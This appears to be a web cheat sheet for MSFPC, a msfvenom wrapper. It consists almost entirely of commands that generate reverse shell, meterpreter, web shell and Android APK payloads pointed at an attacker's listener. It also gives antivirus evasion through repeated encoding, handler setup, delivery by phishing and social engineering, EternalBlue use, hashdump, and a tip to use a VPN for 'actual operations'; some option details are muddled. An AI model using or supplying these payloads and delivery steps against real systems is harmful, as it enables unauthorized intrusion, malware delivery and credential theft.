Aller au contenu

MSFPC

MSFPC (MSFvenom Payload Creator) is a streamlined Bash wrapper around msfvenom that simplifies payload generation without memorizing complex syntax. Instead of crafting lengthy msfvenom commands, MSFPC uses simple parameters: target IP, port, and payload type.

# MSFPC comes pre-installed in Kali Linux
which msfpc

# Or install manually
git clone https://github.com/g0tmi1k/msfpc.git
cd msfpc
chmod +x msfpc.sh
sudo ln -s $(pwd)/msfpc.sh /usr/local/bin/msfpc
brew tap g0tmi1k/msfpc
brew install msfpc
git clone https://github.com/g0tmi1k/msfpc.git
cd msfpc
bash msfpc.sh <LHOST> <TYPE>
CommandDescription
msfpc <LHOST> <TYPE>Generate payload with default settings
msfpc <LHOST> <TYPE> <LPORT>Specify custom listening port
msfpc <LHOST> <TYPE> <LPORT> <ENCODER>Add payload encoder
msfpc -hDisplay help menu
msfpc -vShow version information
TypeDescriptionStaged
windowsWindows reverse shell (auto-selects architecture)No
windows-stagedWindows staged payload (meterpreter)Yes
windows-bindWindows bind shell (listening on target)No
windows/meterpreter/reverse_tcpFull meterpreter sessionYes
windows/shell/reverse_tcpSimple cmd.exe shellYes
windows/shell_reverse_tcpStageless reverse shellNo
TypeDescriptionStaged
linuxLinux reverse shell (auto-selects architecture)No
linux-stagedLinux staged payloadYes
linux-bindLinux bind shellNo
linux/x86/meterpreter/reverse_tcp32-bit meterpreterYes
linux/x64/meterpreter/reverse_tcp64-bit meterpreterYes
linux/x86/shell/reverse_tcp32-bit shellYes
TypeDescription
macosmacOS reverse shell
macos-stagedmacOS staged payload
osx/x64/shell_reverse_tcpmacOS 64-bit reverse shell
TypeDescriptionFormat
androidAndroid APK payload.apk
android-stagedAndroid staged meterpreter.apk
phpPHP reverse shell.php
php-stagedPHP staged payload.php
pythonPython reverse shell.py
python-stagedPython staged payload.py
bashBash reverse shell.sh
perlPerl reverse shell.pl
javaJava reverse shell.jar
jspJava Server Pages shell.jsp
aspxASP.NET reverse shell.aspx
# Two-part delivery: small stub downloads full payload
msfpc 192.168.1.100 windows-staged 4444

# Pros: Smaller initial payload, evasion
# Cons: Two-stage delivery required, requires handler
# Use: Firewall constraints, low bandwidth
# Full payload in one executable
msfpc 192.168.1.100 windows 4444

# Pros: Single executable, works without handler
# Cons: Larger file size, easier to detect
# Use: Direct execution, reliability required
EncoderDescriptionEffectiveness
x86/shikata_ga_naiPolymorphic XOR encoderHigh
x86/jmp_call_additiveJMP/CALL XOR encoderMedium
x64/xor64-bit XOR encoderMedium
x86/fnstenv_movFPU instruction encoderMedium
x86/countdownCounter-based encodingLow
# Single encoding iteration
msfpc 192.168.1.100 windows 4444 x86/shikata_ga_nai

# Multiple iterations (harder to detect)
msfpc 192.168.1.100 windows 4444 x86/shikata_ga_nai -i 5

MSFPC automatically detects format based on payload type:

FormatExtensionsUse Case
Executable.exe, .binDirect execution on Windows
Script.py, .pl, .sh, .phpInterpretation by runtime
APK.apkAndroid installation
JAR.jarJava execution
ASP.aspx, .aspWeb server shells
# Specify output filename
msfpc 192.168.1.100 windows 4444 -o payload.exe

# List available formats
msfpc -l
# Generate resource script for multi/handler
msfpc 192.168.1.100 windows 4444 -r

# Output: resource.rc (auto-generated)
# Start msfconsole with resource script
msfconsole -r resource.rc

# Or configure manually in msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
set ExitOnSession false
run
CommandDescription
sessions -lList active sessions
sessions -i <ID>Interact with session
sysinfoGet target system info
getuidGet current user
hashdumpDump SAM hashes (Windows)
msfpc 192.168.1.10 windows-staged 8888 -r
# Generates: msfpc-output/windows-windows-meterpreter-reverse-tcp-8888.exe
# Resource file: resource.rc for multi/handler setup
msfpc 10.0.0.50 linux 5555
# Generates: linux-x86-reverse-tcp-5555
# ELF executable, ready to run
msfpc 192.168.1.100 android 9999 -r
# Generates: android-reverse-tcp-9999.apk
# Install with: adb install android-reverse-tcp-9999.apk
msfpc 192.168.1.100 php 7777
# Generates: php-reverse-tcp-7777.php
# Upload to web server and access via browser
msfpc 10.10.10.10 python 3333
# Generates: python-reverse-tcp-3333.py
# Execute: python3 python-reverse-tcp-3333.py
msfpc 192.168.1.100 windows 4444 x86/shikata_ga_nai -i 3
# Generates encoded payload with 3 iterations
# Reduces AV detection
# Generate small initial payload
msfpc 192.168.1.100 windows-staged 4444 -r

# Upload to target via phishing/web exploit
# Minimal file size, requires handler listening
# Handler setup: msfconsole -r resource.rc
# Use high port number (firewall bypass)
msfpc 192.168.1.100 windows-staged 8888 x86/shikata_ga_nai -i 5

# Encode multiple times to bypass IDS/AV
# For PHP vulnerability in web app
msfpc 192.168.1.100 php 5555

# Copy .php file to web directory
cp php-reverse-tcp-5555.php /var/www/html/shell.php

# Trigger via browser: http://target.com/shell.php
# Generate APK for target Android device
msfpc 192.168.1.100 android 6666

# Install on rooted device or via phishing
adb install android-reverse-tcp-6666.apk

# Or use social engineering to get user to install
# MSFPC creates organized output
~/msfpc-output/
├── windows-windows-meterpreter-reverse-tcp-4444.exe
├── resource.rc          # Multi-handler setup
├── payload.txt          # Command reference
└── handler.sh           # Handler launch script
IssueSolution
Command not foundInstall msfpc or add to PATH
msfvenom errorsEnsure Metasploit Framework is installed
Port already in useUse different LPORT value
Staged payload won’t connectVerify multi-handler is running
Antivirus detectionUse encoder option: -x86/shikata_ga_nai -i 5
Architecture mismatchSpecify x86 or x64 explicitly
# MSFPC generates payload
msfpc 192.168.1.100 windows 4444

# Use with netcat if no Metasploit available
nc -lnvp 4444

# Or socat for more control
socat TCP-LISTEN:4444,reuseaddr EXEC:bash,pty,stderr
# Generate payload
msfpc 192.168.1.100 windows-staged 8888 -r

# Use in MSFconsole exploit
use exploit/windows/smb/ms17_010_eternalblue
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 8888
exploit
# Generate multiple payloads for different targets
for ip in 192.168.1.{50..60}; do
  msfpc $ip windows-staged 4444
done
# Chain multiple encoders
msfpc 192.168.1.100 windows 4444 x86/shikata_ga_nai -i 7

# Output as different format
msfpc 192.168.1.100 windows 4444 -o shellcode.bin
# Auto-generate handler and launch
msfpc 192.168.1.100 windows-staged 4444 -r
msfconsole -r resource.rc < /dev/null &

# Payload ready for delivery
  • Always set up multi-handler before sending staged payloads
  • Use encoding on all payloads to evade antivirus
  • Clean up generated payloads after use
  • Store LHOST/LPORT securely (not in scripts)
  • Use VPN/proxy for actual operations
  • Test payloads in isolated lab environment first